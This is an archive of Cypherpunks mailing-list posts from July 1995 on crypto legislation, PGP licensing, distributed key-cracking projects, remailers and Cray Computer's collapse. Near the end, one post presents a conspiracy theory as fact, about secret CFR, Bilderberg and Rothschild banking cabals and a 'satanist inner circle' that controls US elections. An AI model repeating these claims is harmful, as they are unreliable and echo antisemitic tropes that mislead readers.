Message-ID: <v01510101ac3061b81c9d@[193.74.217.20]>


-----BEGIN PGP SIGNED MESSAGE-----


>I am not familiar with american laws and have two questions:
>
>1. If the bill becomes law, how can someone who violates it be
>punished?
>

- From the top of my head:
Subpoena your service provider's computer records.  Intimidate your roommate
into testifying against you.  Tapping your phone.  Entrapping you into
doing it.

Feds are in the business of putting people behind bars.  They are _very_ good
at it.

>
>2. Does someone who publishes software which encodes or encrypts
>(ASCII is a code, isn't it?) have to prove that he has provided the
>universal decoder to the state or does the state have to prove that he
>didn't do?

I'm betting that the Feds will adopt as a working definition anything that
requires a key to decrypt the communications.  That means compression
software, rot13, and most hash functions are ok.

>
>In the former case, does he get any receipt from the department of
>justice and what does the receipt say (1.3MByte of software
>received...)?
>

This is the U.S. Government.  They Have Forms.  You just file form
THX1138/KGB666-007, omitting pages 113-115 and substituting Addendum Foxtrot
Uniform Delta; then you're covered.

>In the latter case, how do they want to prove he didn't? If he gave
>just a big
>
>  for(i=0;;i++) try_key(i);
>
>how do they want to prove this doesn't work? There is a certain
>problem in theory. I don't know the english name, but in german it is

It's the Halting Problem, in English.

Expert Testimony:  "We experimented with 113,296 keys chosen at random and
the defendants algorithm took an average of 29,000 years to find each one.
It is our professional opinion, therefore, that the defendant is jacking us
around and ought to be keelhauled".


ObPGP:

Incidentally, did you know that PGP puts a "- " in front of a line that
begins with the word "From"?  Just so "sendmail" doesn't hose your
signatures, I spoz.

-----BEGIN PGP SIGNATURE-----
Version: 2.6ui

iQCVAgUBMArcIY4k1+54BopBAQGEQAQA3POWJd+5OtdRy9otN0PZWSzA+wyIjM99
+PqxyoBlfvnrut7xNYzgGOedyLjQHoWMgXwWAtArIr2srFqwr0eUu5aUXcYxySBx
NiEH/G4Y3Z3paL2yOdDLPqrjB7B68UusCYvgTYUCLrkcLU+zqOMfvTPRTx63AQ9h
QoBB8/XMddc=
=/k0o
-----END PGP SIGNATURE-----

--
Thank you VERY much!  You'll be getting a Handsome Simulfax Copy of your
OWN words in the mail soon (and My Reply).
<Andrew.Spring at ping.be> PGP Print: 0529 C9AF 613E 9E49  378E 54CD E232 DF96
   Thank you for question, exit left to Funway.







From Andrew.Spring at ping.be  Mon Jul 17 13:53:48 1995
From: Andrew.Spring at ping.be (Andrew Spring)
Date: Mon, 17 Jul 95 13:53:48 PDT
Subject: Anti-Electronic Racketeering Act of 1995 (fwd)
Message-ID: <v01510102ac3065ad0aaa@[193.74.217.20]>


-----BEGIN PGP SIGNED MESSAGE-----


>You _were_ using that software on a _computer_ weren't you?  Guess it's
>one of your racketeer's tools, so we'll have to take it for ourselves, er, um,
>for evidence and protection of national security....

This wasn't really my point.  Grassley's bill implies that uploading crypto
to an overseas FTP site would qualify as a predicate act, needed for a RICO
seizure.  I think he is assuming that someone would do this for the
purposes of making money: and that anything bought with that money would be
RICOable.  I don't think he or anyone else in Congress is aware that people
tend to do this stuff for free.

I remember one of the sponsors of the CDA ranting about pornographers
"profiteering" from pornographic images on the Internet, blissfully unaware
that stuff downloaded from alt.sex.binaries.insert.your.fetish.here doesn't
profit anyone but the phone company (for the hours you stay online to get
it).

So I'm wondering who this RICO stuff applies to.  The guy who wrote it and
uploaded it to an FTP site?  He's not profiting.  The guy who uses it? He
didn't commit the predicate act.  Who?


-----BEGIN PGP SIGNATURE-----
Version: 2.6ui

iQCVAgUBMArYUI4k1+54BopBAQGk6AQAufSXBBB9/XoDcKoWaalLdp+hxO/kSER1
wEtEAcRqh3YZR9IRVFuFsmotJ8exupaOzy+OLldublq1RfaCR/Jjqvc0V1uSovYA
DA9eFjYApGSPoDkQp6C6ZVcJVqpD1QQhNYpY96nABTp45AYsMlrdpartwjJZKDLz
Rx1EFNVwoC4=
=K75H
-----END PGP SIGNATURE-----

--
Thank you VERY much!  You'll be getting a Handsome Simulfax Copy of your
OWN words in the mail soon (and My Reply).
<Andrew.Spring at ping.be> PGP Print: 0529 C9AF 613E 9E49  378E 54CD E232 DF96
   Thank you for question, exit left to Funway.







From hayden at krypton.mankato.msus.edu  Mon Jul 17 15:24:38 1995
From: hayden at krypton.mankato.msus.edu (Robert A. Hayden)
Date: Mon, 17 Jul 95 15:24:38 PDT
Subject: RSA-129 vs. RC4 (was Re: RC4 crack)
In-Reply-To: <199507172043.QAA09575@toxicwaste.media.mit.edu>
Message-ID: <Pine.ULT.3.91.950717171457.27307B-100000@krypton.mankato.msus.edu>


-----BEGIN PGP SIGNED MESSAGE-----

On Mon, 17 Jul 1995, Derek Atkins wrote:

> Not quite.  The UIDs that were given out for RSA-129 had nothing to do
> with the search space.  The reason is that RSA-129 did not search for
> the prime factors; it searched for quadratic residue relations.
> Moreover, ANY relations within the space is a valid datapoint.  As a
> result, the UIDs ojnly told the factoring clients where to start
> looking for relations.

Thanks, I stand corrected.  As I said, I really don't understand at a 
basic level how it works.  These factoring projects are, to me, an 
interesting sociological experiment.  Of course, to do this correctly, 
you need software that is easy to use. :-)

So, the ability to run a program in such a fashion that as much is 
automated as possible is a "Good Thing{tm}".


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: PGP Signed with PineSign 1.0

iQCVAwUBMArjMjokqlyVGmCFAQHrdgP+NzpimLDgMY0/HMk8CVu4iaqmCdljxLLv
+G6k3CkkiCvowLTEHv45NUaixWl38VgeMnp2vxOPVFcb5lEdHLd2DqXL4vj7sjg1
rWAIX4/Q+/KL98ATCw9+ePs+CFSM3HAkRWT6sNmmAJyHj6y13Yk3Fa9qY5Gt5kO3
8wqSPO2aOYE=
=1ZOw
-----END PGP SIGNATURE-----
 
____        Robert A. Hayden      <=> Cthulhu Matata
\  /__          -=-=-=-=-         <=>          -=-=-=-=-
 \/  /  Finger for Geek Code Info <=> hayden at krypton.mankato.msus.edu
   \/   Finger for PGP Public Key <=> http://att2.cs.mankato.msus.edu/~hayden





From lmccarth at cs.umass.edu  Mon Jul 17 15:28:00 1995
From: lmccarth at cs.umass.edu (L. McCarthy)
Date: Mon, 17 Jul 95 15:28:00 PDT
Subject: Anti-Electronic Racketeering Act of 1995 (fwd)
In-Reply-To: <v01510102ac3065ad0aaa@[193.74.217.20]>
Message-ID: <9507172227.AA09751@cs.umass.edu>


Andrew Spring writes:
> This wasn't really my point.  Grassley's bill implies that uploading crypto
> to an overseas FTP site would qualify as a predicate act, needed for a RICO
> seizure.  I think he is assuming that someone would do this for the
> purposes of making money: and that anything bought with that money would be
> RICOable.  I don't think he or anyone else in Congress is aware that people
> tend to do this stuff for free.

I disagree.
Sec. 1030A (a) under S.974 would make it illegal to
"transfer unlicensed computer software,"
*"regardless of whether the transfer is performed for
economic consideration"*.

S.974 would make each such transfer a predicate act
for RICO purposes. 

(this message is oddly formatted due to problems I'm
having with my environment right now)

-Futplex





From asgaard at sos.sll.se  Mon Jul 17 15:46:08 1995
From: asgaard at sos.sll.se (Mats Bergstrom)
Date: Mon, 17 Jul 95 15:46:08 PDT
Subject: Safford's Nemesis
Message-ID: <Pine.HPP.3.91.950718003511.2899A-100000@cor.sos.sll.se>


Kahn (1962) doesn't really explain why vital Magic intercepts and
the 'winds' execute did not prevent the Pearl Harbour disaster. 

I just read 'Infamy' by John Toland (1982), containing 'proof'
- very convincing, in my opinion - of the Pearl Harbour cover-up.
The US president, selected members of his cabinette and a
few admirals and generals knew - from Magic and the 'winds'
execute, radio traffic analysis, diplomatic sources, double
agents - exactly when and where the Japaneese were going to
attack, but didn't warn Hawaii, fearing that too efficient
counter-measures by the Oahu military might make the attack
abort and so not convince the isolationists. The unexpected 
tactical capabilities of the Japaneese armada then made a
cover-up all the more important.

What has been revealed since? Are the views in Toland's book
now 'official', established history, or what?

Mats





From jya at pipeline.com  Mon Jul 17 16:07:04 1995
From: jya at pipeline.com (John Young)
Date: Mon, 17 Jul 95 16:07:04 PDT
Subject: OUT_law
Message-ID: <199507172306.TAA12229@pipe2.nyc.pipeline.com>


   7-17-95. W$Japer:


   "As Regulators Seek to Police Internet, An Offbeat Finnish
   Service Fights Back." (PW cited earlier.)

      The U.S. Congress and governments from Singapore to New
      Zealand are mulling new efforts to control the flow of
      material over the Internet. But from a barren storefront
      in Finland's capital, Johan Helsingius is doing
      everything he can to prevent this. He may well be
      winning the fight.                             JUF_pug


   "Louis Freeh's Golden-Boy Image Faces Scrutiny Over FBI's
   Role in Shootout."

      During his 23 months as director of the Federal Bureau
      of Investigation, Louis Freeh has generated the
      golden-boy image the FBI needed. Now , Mr. Freeh's
      judgment is open to more intense scrutiny ... raises the
      possibility of that dreaded Washington phenomenon: the
      coverup.                                       REX_rug



   Zwei: OUT_law












From terrell at sam.neosoft.com  Mon Jul 17 16:32:53 1995
From: terrell at sam.neosoft.com (Buford Terrell)
Date: Mon, 17 Jul 95 16:32:53 PDT
Subject: Root Causes
Message-ID: <199507172337.SAA10144@sam.neosoft.com>


>
>From: Michael Froomkin <Michael at umlaw.demon.co.uk>

>Jim didn't take my Con Law I course.
>
>In message <199507161819.OAA06090 at bb.hks.net> Jim Ray writes:
>[cuts throughout]
>> 
>> Amendment IX -- "The enumeration in the Constitution of certain rights
>> shall not be construed to deny or disparage others retained by the people."
>                                                      ^^^^^^^ 
>> [The right to write code was among many rights NOT enumerated.]
>> 
>
>Very hard to argue that the right to write code (as opposed to, 
>say, the right to write in code) existed in the late 18th 
>century; hence it is hard to argue that it could be "retained" 
>today.  

What about Jacquard loom cards?

Buford C. Terrell                       1303 San Jacinto Street
Professor of Law                              Houston, TX 77002
South Texas College of Law                voice   (713)646-1857
terrell at sam.neosoft.com                     fax   (713)646-1766






From tcmay at sensemedia.net  Mon Jul 17 16:36:16 1995
From: tcmay at sensemedia.net (Timothy C. May)
Date: Mon, 17 Jul 95 16:36:16 PDT
Subject: Automated Rant Generators and Letter Generators
Message-ID: <ac300ac51b0210043421@[205.199.118.202]>


At 7:29 PM 7/17/95, Harry Bartholomew wrote:
>>
>> Cypherpunks could probably have an effect on hastening this "denial of
>> service" attack on the efficacy of letter-writing by releasing an
>> easy-to-use package that does all this letter writing at the click of a
>> button....just type in some key words, for the topics, and it does the
>> rest.
>>
>> An interesting project, actually.
>>
>> --Tim May
>>
>    A final step might be to interface the output to old pen plotters
>    like my HP7470A with an ascii-to-handwriting program.  Akin to
>    the White House souvenir signature generator, but with a set of
>    parameters to mimic different "hands".  Knuth's Metafont tricks
>    come to mind.

By the way, I should first say that I have nothing against letter writing,
and my comments about "hastening" a "denial of service" attack on
letter-writing are mostly just out of general interest.

Bart's comments about using Knuth's typographic work are interesting, to
the extent that letters need to look handwritten. In the Mac market, it's
possible to send in some handwriting samples and get back a font that
emulates the handwriting!

I don't think the pen plotter is actually needed--and few people would use
it--as most faxes can be emulated with laser printers (due of course to the
limited dots per inch resulution). In fact, most fax modems can directly
fax from any screen that can produce printed output. So, the combination of
handwriting fonts, automated rant generators (of varying rabidities), and
fax capabilities gives a pretty good start. Using lots of handwriting
samples, various other fonts, and a mix of styles in the letters will help.

Anyway, where this all gets interesting is the following:

* Can a kind of Turing Test be tried here?

That is, in this limited domain of "letters to the editor/Congressmen," can
a letter generator be implemented which generates letters effectively
indistinguishable from letters and faxes generated by actual human beings?
("Effectively indistinguishable" in the sense that a human reader could not
sort a set of letters into human- and machine-generated subsets with
statistically significant certainty better than guessing).

Of course this is also similar to the "style detectors" we so often talk about.

The crypto relevance has to do with detecting patterns in letters and
rants, in emulating these patterns, and (perhaps) in speeding up lobbying.
(Though I agree that widespread adoption of automated letter-writing, such
as the direct mail folks are already doing, will eventually just kill off
letter writing as a means of lobbying.)

This may also hasten the adoption, someday, of digital signatures.
Congressmen and their aides may check incoming letters against databases of
their consituents who have "registered" with them (lots of issues here).

Merely counting the "yes" and "no" letters has long been problematic, as
the Republicans have been leading in direct mail campaigns since at least
the mid-70s (recall Richard Viguerie...). Increased automation will just
make it even more obvious.

--Tim May

..........................................................................
Timothy C. May         | Crypto Anarchy: encryption, digital money,
tcmay at sensemedia.net   | anonymous networks, digital pseudonyms, zero
408-728-0152           | knowledge, reputations, information markets,
Corralitos, CA         | black markets, collapse of governments.
Higher Power: 2^756839 | Public Key: PGP and MailSafe available.
"National borders are just speed bumps on the information superhighway."







From bigdaddy at ccnet.com  Mon Jul 17 17:23:06 1995
From: bigdaddy at ccnet.com (Le Dieu D'Informations Insensibles...)
Date: Mon, 17 Jul 95 17:23:06 PDT
Subject: ECM list.
Message-ID: <199507180019.RAA22752@ccnet.ccnet.com>


-----BEGIN PGP SIGNED MESSAGE-----


>I'm also considering other strategies for gaining e$--  offering a service
>on the DigiCash "cybershops" page, or just going to all my e-mail using
>friends, showing them how to get their free e$100.00, and then begging them
>to give me half of it.  (Finder's fee?  Friendly gift?)
       Why not offer an anonymous proxy of some kind for e-cash? You can
charge per connect or per unit of time, simply to demonstrate the concept. The
techniques developed for remailers(breaking up messages...accepting PGP-
encrypted destinations...varying times...so on) could find an application
here. If a chain could be constructed, it would help protect the identity of
the user(assuming no collusion between operators). 

The problem is, as always, to write the code. Not to mention the
ethical/possibly legal question of selling anonymity...

Another possible service: selling gems of wisdom in pieces.

Find or write a gem of wisdom...taking into account copyright laws and so
forth.
Then set up a storefront via telnet or http...a sort of kiosk. Customers can
then buy secrets or portions of secrets...or percentages. Use a secret
splitting algorithm to allow people to 'split the cost' of a secret and then
get in touch with each other through anonymous remailers set up for that
purpose by your kiosk.
        Depending on the information you're selling(whether it be the secret
key for BlackNet or simply the contents of your CD collection), you could earn
some e-cash this way. An all-or-nothing-disclosure-of-secrets protocol might
also come in handy.
        Again, the problem is sitting down and writing the code. Has anyone
made any significant efforts toward either of these yet, with or without CD$?

David Molnar

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBMApx1+FDHpuTkgoVAQEo/Af/cmZPKI1Uk/hFbTwuQwcZbDagnAHpZkqZ
WdJMUe/4RxOymB5mnfvM7bl4S4x5BrUJJ6mepQwq0/39PiJRWAJFJFnhuZoIin5o
I5KCOTNQMVNdJLL7iTtZJEqrIEGhfq2lrRpbyc1wPGj+9l7tWlSfTXLl+E0z6MtZ
OWEJ0mzP4eG5TQJEtObAqD5QYOhHngEN96NMYDUv6gYzZROx3zovYqrFFrJt8zr1
HkxZzpA/rGHdoCAeViLAqO42o18zRvu8j0i7VIXI/rx6rOQ6gCDs4tgjMH1BSQH4
3rMfxb0KB8Vlmd1AL1OzvhRSy9cbBvdX2D+iOC7sZQ755JBRwJKd2Q==
=9YVg
-----END PGP SIGNATURE-----

lo...look to the sig, for there will be no sign







From jgrubs at voxbox.norden1.com  Mon Jul 17 17:34:45 1995
From: jgrubs at voxbox.norden1.com (Jim Grubs, W8GRT)
Date: Mon, 17 Jul 95 17:34:45 PDT
Subject: "Judgement Proof" and Putting Up or Shutting Up
Message-ID: <NqRe9c1w165w@voxbox.norden1.com>


-----BEGIN PGP SIGNED MESSAGE-----

mpd at netcom.com (Mike Duvos) writes:

> 
> > What's CFR?
> 

Code of Federal Regulations?



-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: http://norden1.com/~jim/sylvania.html

iQCVAwUBMAr8cN74r4kaz3mVAQFZUgP+K/tIieWM1meiSWMfveLeF/LTLc1oLTp/
IftfXZokadfbh9RMvSXfiJvCVHZS/mRa33KG+SCNjt+K0yLWi7JrYFEmepGxFlVn
NjcrZdM+lFfNc03ksgOlccZg+o7GlzBNUW3s7yN2/Y2aRss22mfJkhtWvfaqDs7h
mYT4tONtNSQ=
=Zp8i
-----END PGP SIGNATURE-----

--
                        WebCasters(tm)
James C. Grubs                         jgrubs at voxbox.norden1.com
6817 Maplewood Avenue                         Tel.: 419-882-2697
Sylvania, Oh 43560                             Fax: 419-885-2814
   Internet consulting, HTML programing, Information brokering
 





From jgrubs at voxbox.norden1.com  Mon Jul 17 17:34:51 1995
From: jgrubs at voxbox.norden1.com (Jim Grubs, W8GRT)
Date: Mon, 17 Jul 95 17:34:51 PDT
Subject: Is it legal for commercial companies to use PGP?
Message-ID: <LuRe9c2w165w@voxbox.norden1.com>


-----BEGIN PGP SIGNED MESSAGE-----

tim werner <werner at mc.ab.com> writes:

> Hi,
> 
> I was reading in some Where to Get PGP Web page that "PGP2.6.2 is legal
> to use in the U.S. for non-commercial purposes (i.e., you cannot sell it
> or the functionality it provides)".  Can anyone on the list say whether
> this is true?  That is, was the use of "i.e." correct, or should it have
> been "e.g."?
> 
> Or, to put it more succinctly, I was talking to one of the sys admins at
> A-B, and he said that we weren't allowed to use PGP to encrypt our mail,
> because Viacrypt owned the commercial rights.  But, according to the bit
> I quoted, it would only be a violation if A-B tried to put PGP into one
> of their products.
> 
> Has anyone heard a (hopefully legal, but I'll listen to anyone's
> opinion) answer to this?

As I recall, the following is a correct scenario: a customer can use PGP to
send credit card numbers to a vendor he's making a personal purchase from,
but the vendor must use Viacrypt. If the customer is buying something to use
for business, BOTH  must use Viacrypt.





-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: http://norden1.com/~jim/sylvania.html

iQCVAwUBMAr+Ut74r4kaz3mVAQFMqwP8CgTKl3QetW+vn/A4TqJE2BrTEstM8fuw
2ZrmDZjHbZwISPtgbtwesup+wqknc9ECQwNKoyqbg5vYtK6Zd2tLVrD9gs7suA2F
BEJeBNNMoGDPBh6Ep4alwtK6JpSt+e+AMTimRQCml+sf/md0GM6UovR1ZufQBTog
+jLDu9KNRSg=
=MCgA
-----END PGP SIGNATURE-----

--
                        WebCasters(tm)
James C. Grubs                         jgrubs at voxbox.norden1.com
6817 Maplewood Avenue                         Tel.: 419-882-2697
Sylvania, Oh 43560                             Fax: 419-885-2814
   Internet consulting, HTML programing, Information brokering
 





From jgrubs at voxbox.norden1.com  Mon Jul 17 17:34:56 1995
From: jgrubs at voxbox.norden1.com (Jim Grubs, W8GRT)
Date: Mon, 17 Jul 95 17:34:56 PDT
Subject: Anti-Electronic Racketeering Act of 1995 (fwd)
Message-ID: <ease9c3w165w@voxbox.norden1.com>


-----BEGIN PGP SIGNED MESSAGE-----

Andrew.Spring at ping.be (Andrew Spring) writes:

> So I'm wondering who this RICO stuff applies to.  The guy who wrote it and
> uploaded it to an FTP site?  He's not profiting.  The guy who uses it? He
> didn't commit the predicate act.  Who?

It doesn't matter. Even if they say "Oops, sorry" later, the best you can
hope for is to get your computer returned as a bushel basket full of junk
parts. More likely it'll end up in some police station with "D.A.R.E."
painted all over it.


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: http://norden1.com/~jim/sylvania.html

iQCVAwUBMAsAMt74r4kaz3mVAQHtygP+Ou3wJB68ECFzanKNO7l4AIqtZfApNA1z
jZNatwmBZGOnQbC6LSQi5La5lws+U/yUs40hW8ZBVwG0/qUGH4RUra57Ubrtya+e
B8vz9/Vnou8a5DkW4fSsL+eiNeJimKiFAguUQSdex3gJShjXIpVk/++3AKvEVy6h
q43kUVG9irM=
=VWRM
-----END PGP SIGNATURE-----

--
                        WebCasters(tm)
James C. Grubs                         jgrubs at voxbox.norden1.com
6817 Maplewood Avenue                         Tel.: 419-882-2697
Sylvania, Oh 43560                             Fax: 419-885-2814
   Internet consulting, HTML programing, Information brokering
 





From ab411 at detroit.freenet.org  Mon Jul 17 17:59:58 1995
From: ab411 at detroit.freenet.org (David R. Conrad)
Date: Mon, 17 Jul 95 17:59:58 PDT
Subject: TIME pathfinder registration
Message-ID: <199507180059.UAA12182@detroit.freenet.org>




Will Kinney <kinney at bogart.Colorado.EDU> writes:
>> I note someone has used "cypherpunks" as a login for TIME Mag's
>> WWW service. ... If so, what's the password?
>
>This was me. The password is "writecode", since Pathfinder didn't allow
>the login and password to be the same.

Perhaps in the future people might use "sknuprehpyc" in such cases?
And of course, don't put the list's email address in.

--
David R. Conrad, ab411 at detroit.freenet.org, http://web.grfn.org/~conrad/
Finger conrad at grfn.org for PGP 2.6 public key; it's also on my home page
Key fingerprint =  33 12 BC 77 48 81 99 A5  D8 9C 43 16 3C 37 0B 50
No, his mind is not for rent to any god or government.





From werner at mc.ab.com  Mon Jul 17 18:10:02 1995
From: werner at mc.ab.com (tim werner)
Date: Mon, 17 Jul 95 18:10:02 PDT
Subject: Is it legal for commercial companies to use PGP?
Message-ID: <9507180107.AA03586@mondo.ab.com>


>Date: Mon, 17 Jul 1995 16:15:10 -0400
>From: tim werner <werner at mc.ab.com>

>... I was talking to one of the sys admins at
>A-B, and he said that we weren't allowed to use PGP to encrypt our mail,
>because Viacrypt owned the commercial rights.

I should have mentioned that I have no problem with people trying to
make money.  However, it turns out that ViaCrypt is not selling
site-licenses, or even floating licenses, so they actually want to sell
a separate copy for every user that will use it.

As it happens, the aforementioned sys admin had purchased 5 licenses, to
take care of the 2 users he already knew about, and figuring that there
would probably be a couple more wanting to jump on the bandwagon.  He
offered to let me use one of the licenses, but there's no way I can go
and tell my users "we have PGP", if I can't tell everyone that they can
do it.

And, there's no way I can see convincing my boss that we need that many
copies of ViaCrypt, just so everyone in my department can encrypt their
email traffic.

Of course, I realize that none of the above changes the legality.


thanks,
tw

-- 

Well, Bust My Britches!  Eggs Almondine and a Bottle of Beaujolais!





From dan at milliways.org  Mon Jul 17 18:22:28 1995
From: dan at milliways.org (Dan Bailey)
Date: Mon, 17 Jul 95 18:22:28 PDT
Subject: RC4 crack
Message-ID: <199507180122.AA21067@ibm.net>


On Mon, 17 Jul 95 21:36:45 +0100 you wrote:

>
>Yep a telnet port is it for both reporting and getting keys, also the
>WWW interface to the same.
>
>> I'd basicly like to be able to start the program, nice it, slam it
>> in the background, and forget about it.
>
>Adam
>
Is there an easy way to integrate machines who are not on-net 24-7
into this protocol?  Not all of us have dedicated lines.:)
					Dan Bailey
******************************************************************************
Vote Speaker Newt Gingrich for President!!                     Dan Bailey
Worcester Polytechnic Institute, class of 1997.                 merzbow at ibm.net
******************************************************************************






From pgf at tyrell.net  Mon Jul 17 20:37:08 1995
From: pgf at tyrell.net (Phil Fraering)
Date: Mon, 17 Jul 95 20:37:08 PDT
Subject: Cray Computer liquidating...
Message-ID: <199507180332.AA24106@tyrell.net>



According to a flier from an e-mail list I'm currently
unwillingly subscribed to, Cray Computer is going out
of business.

Any comments and/or crypto relevance?

Phil





From hal9001 at panix.com  Mon Jul 17 20:51:42 1995
From: hal9001 at panix.com (Robert A. Rosenberg)
Date: Mon, 17 Jul 95 20:51:42 PDT
Subject: WSJ on remailers...
Message-ID: <v02130505ac3063d78727@[166.84.254.3]>


At 14:00 7/17/95, Peter Wayner wrote:
>The WSJ has a  article on anonymous remailers buried in the B section. It
>is pretty straightforward and ends up quoting some Finnish police officer
>saying that they're not going to go raiding remailers on any suspicion.
>They'll need a real crime.

That Finnish comment is probably due to the fall-out/flap from their raid
on anon.penet.fi in the CoS case.







From tcmay at sensemedia.net  Mon Jul 17 21:29:05 1995
From: tcmay at sensemedia.net (Timothy C. May)
Date: Mon, 17 Jul 95 21:29:05 PDT
Subject: Cray Computer liquidating...
Message-ID: <ac3083cd1d021004a397@[205.199.118.202]>


At 3:32 AM 7/18/95, Phil Fraering wrote:
>According to a flier from an e-mail list I'm currently
>unwillingly subscribed to, Cray Computer is going out
>of business.
>
>Any comments and/or crypto relevance?

This is Cray Computer, not the older Cray Research.

Cray Computer was developing a GaAs-based computer that used advanced
robotic assembly/packaging. Cray Research spun off the project, led by
founder Seymour Cray, and the two companies were wholly separate. Cray
Research remained in Minnesota, while Cray Computer was located in Colorado
Springs.

The split was largely arranged because Cray Research was unwilling or
unable to fund both the conventional supercomputer lines _and_ the more
experimental machines favored by Seymour Cray. So they let Seymour and the
technology split off, and a stock distribution was arranged (I was a
shareholder of Cray Research at the time, and recall the distribution).

Cray Research is continuing to sell "Crays," including successors of the
original Cray line and various multiprocessor machines based on the Sparc
processor.

Cray Computer was trying to find customers for its Cray 3 and (planned) Cray 4.

The saga of the collapse of Cray Computer has been going on for the past
year or so, with the last several months being the final chance to
reorganize the company and keep it going. They failed, apparently, and now
the final liquidation of assets is about to happen.

Why didn't the Agency bail them out? Not clear, but my guess is that the
advanced _process_ technology of Cray Computer was not so exciting to the
NSA. The "attack of the killer micros," to use Eugene Miya's phrasing, is
wiping out most conventional advanced processor attempts to get
supercomputer speed.

When a single piece of CMOS silicon gets 200-500 MIPS, and a bunch of them
can be put together, it gets pretty hard to justify hyper-expensive GaAs or
Josephson Junction or whatever technologies.

Sad for Seymour Cray, especially as he'd been pumping some of his own
fortune into keeping Cray Computer going, but its the nature of business.
And he'll bounce back, or take a well-deserved retirement.

--Tim May

..........................................................................
Timothy C. May         | Crypto Anarchy: encryption, digital money,
tcmay at sensemedia.net   | anonymous networks, digital pseudonyms, zero
408-728-0152           | knowledge, reputations, information markets,
Corralitos, CA         | black markets, collapse of governments.
Higher Power: 2^756839 | Public Key: PGP and MailSafe available.
"National borders are just speed bumps on the information superhighway."







From thresher!thad at netcom.com  Mon Jul 17 21:30:29 1995
From: thresher!thad at netcom.com (Thaddeus J. Beier)
Date: Mon, 17 Jul 95 21:30:29 PDT
Subject: Cray Computer liquidating...
Message-ID: <199507180423.VAA01942@thresher>




Phil Fraerling asks if there is any crypto relevance to CCC liquidating.
There definately is some.  They were in the middle of building a Cray 3
with .25 Million PIM processors for the NSA.  It was a wild machine,
basically it used the Cray to pass data back and forth very quickly
among the 1 bit processors.  Someone who worked on it said that it
reminded him of Wayner's hypothetical DES cracking machine.

It was never very close to being finished.  It will be interesting to
see if somebody tries to finish it, or if they use some other
platform to use the PIM (processor-in-memory) chips.  I'd love
to see who bids for the half-finished machine at the coming
liquidation...

thad
-- Thaddeus Beier                   email:  thresher!thad at netcom.com
   Technology Development             vox:  408) 286-3376
   Hammerhead Productions             fax:  408) 292-8624





From bailey at computek.net  Mon Jul 17 21:35:10 1995
From: bailey at computek.net (Mike Bailey)
Date: Mon, 17 Jul 95 21:35:10 PDT
Subject: Deployment
In-Reply-To: <199507170827.BAA12427@ix6.ix.netcom.com>
Message-ID: <Pine.SUN.3.91.950717233255.1828A-100000@bambam.computek.net>


On Mon, 17 Jul 1995, Bill Stewart wrote:

> > > So, anyone want to volunteer to port Privtool to Windows ?
> > Uh, pardon my ignorance, but what is privtool, and why is it
> > a good thing to port it to windows?
> > (As compared to the task of integrating PGP into microsofts
> > mail tool.)
> 
> It's an open-system mail tool resembling Sun's mailtool with PGP support added.
> Open-system tools are one of those vanguard things :-)  
> (So are convenient GUI-development tools.)
> I no longer have a nearby Sun machine to play on, so I haven't played with it,
> but if it's got a well-done interface it's worth porting or stealing concepts
> from to include in other systems.  I've heard that Microsoft's new mail tools
> are far less brain-damaged than the Microsoft Mail I've grown to know and hate,
> which assumes any message that's more than a few lines will be an attached
> document with maybe some optional intro and leftover mail headers,
> and chokes on messages with more than 30K of text in the body (choking badly
> on more than 64K).  (Apparently, part of the reason for this evil is the fault
> of Visual Basic and/or Visual C++, which are convenient GUI development
> tools...)
> 
> On the other hand, integrating it into Free Eudora for Windows would be
> pleasant,
> if that's doable (I forget it source is available.) 
> #                                Thanks;  Bill
> # Bill Stewart, Freelance Information Architect, stewarts at ix.netcom.com

Does Privtool support POP3 ??

-Mike

**************************************************************************
*                                                                        * 
*       Mike Bailey                     (hm)214-252-3915                 * 
*       AT&T Capital Corporation.       (wk)214-456-4510                 *
*       email bailey at computek.net       host bambam.computek.net         *
*                                                                        *
*   "Remember you can tune a piano but you can't tuna fish -Joe Walsh"   *
*               http://www.computek.net/public/bailey/                   *
**************************************************************************






From attila at PrimeNet.Com  Mon Jul 17 21:44:44 1995
From: attila at PrimeNet.Com (attila)
Date: Mon, 17 Jul 95 21:44:44 PDT
Subject: "Judgement Proof" and Putting Up or Shutting Up
In-Reply-To: <9507171938.AA03018@mondo.ab.com>
Message-ID: <Pine.BSI.3.91.950718041341.3919A-100000@usr2.primenet.com>


   CFR = Council on Foreign Relations which consists of two levels of 
membership, about 3000 in the lower level and 500 in the "secret" inner 
sanctum. you can not ask to jihn the CFR, you are asked.  There are 
minutes of the meetings, nor are guests welcome.  The membership includes 
bankers (big time bankers only), powerful politicians, but the bulk of 
the membership is made of the OLD money crowd,,, Harvard (Delphi, Fly, 
Phoenix, etc) and Yale (Skull and Bones).  This is where the power in 
America "sleeps" and controls US policy, who is going to be elected, 
etc.  For instance: both Clinton and Bush are members.
   A second similar organization is the Tri-Lateral commission which has 
been dominated and funded by David Rockefeller (Chairman of Chase 
Manhatten Bank). There is a great deal of "selective" overlap in the two 
memberships.
   and, there is an even more select and far more secret top level at the 
global lever: The Bilderburgers  --it's secret enough that nonone knows 
the total membership.

   there are others such as Baron de Rothchild's bankers group which 
includes the central bank chairmen of all the major countries which have 
semi-automonous central banks like our Federal Reserve.  This group is 
ultimately the most dangerous since they have the power to print money 
--funny money when their respective governments need a little debt 
financing. 

-----------------original ---------------------

On Mon, 17 Jul 1995, tim werner wrote:

> >Date: Wed, 5 Jul 1995 04:32:41 +0000 (GMT)
> >From: attila <attila at PrimeNet.Com>
> 
> >and, conspiracy theories non-withstanding, we the people do not govern 
> >America --we are only given a short list of politicians who have sold 
> >their soul to CFR's satanist inner circle.
> 
> What's CFR?
> 
> 
> tw
> 
> -- 
> 
> Well, Bust My Britches!  Eggs Almondine and a Bottle of Beaujolais!
> 

--
Ask not what your country can do for you. Do it yourself!
____________________________________________________________________________
#!/usr/local/bin/perl -s-- -export-a-crypto-system-sig -RSA-in-3-lines-PERL
($k,$n)=@ARGV;$m=unpack(H.$w,$m."\0"x$w),$_=`echo "16do$w 2+4Oi0$d*-^1[d2%
Sa2/d0<X+d*La1=z\U$n%0]SX$k"[$m*]\EszlXx++p|gc`,s/^.|\W//g,print pack('H*'
,$_)while read(STDIN,$m,($w=2*$d-1+length($n||die"$0 [-d] k n\n")&~1)/2)
____________________________________________________________________________
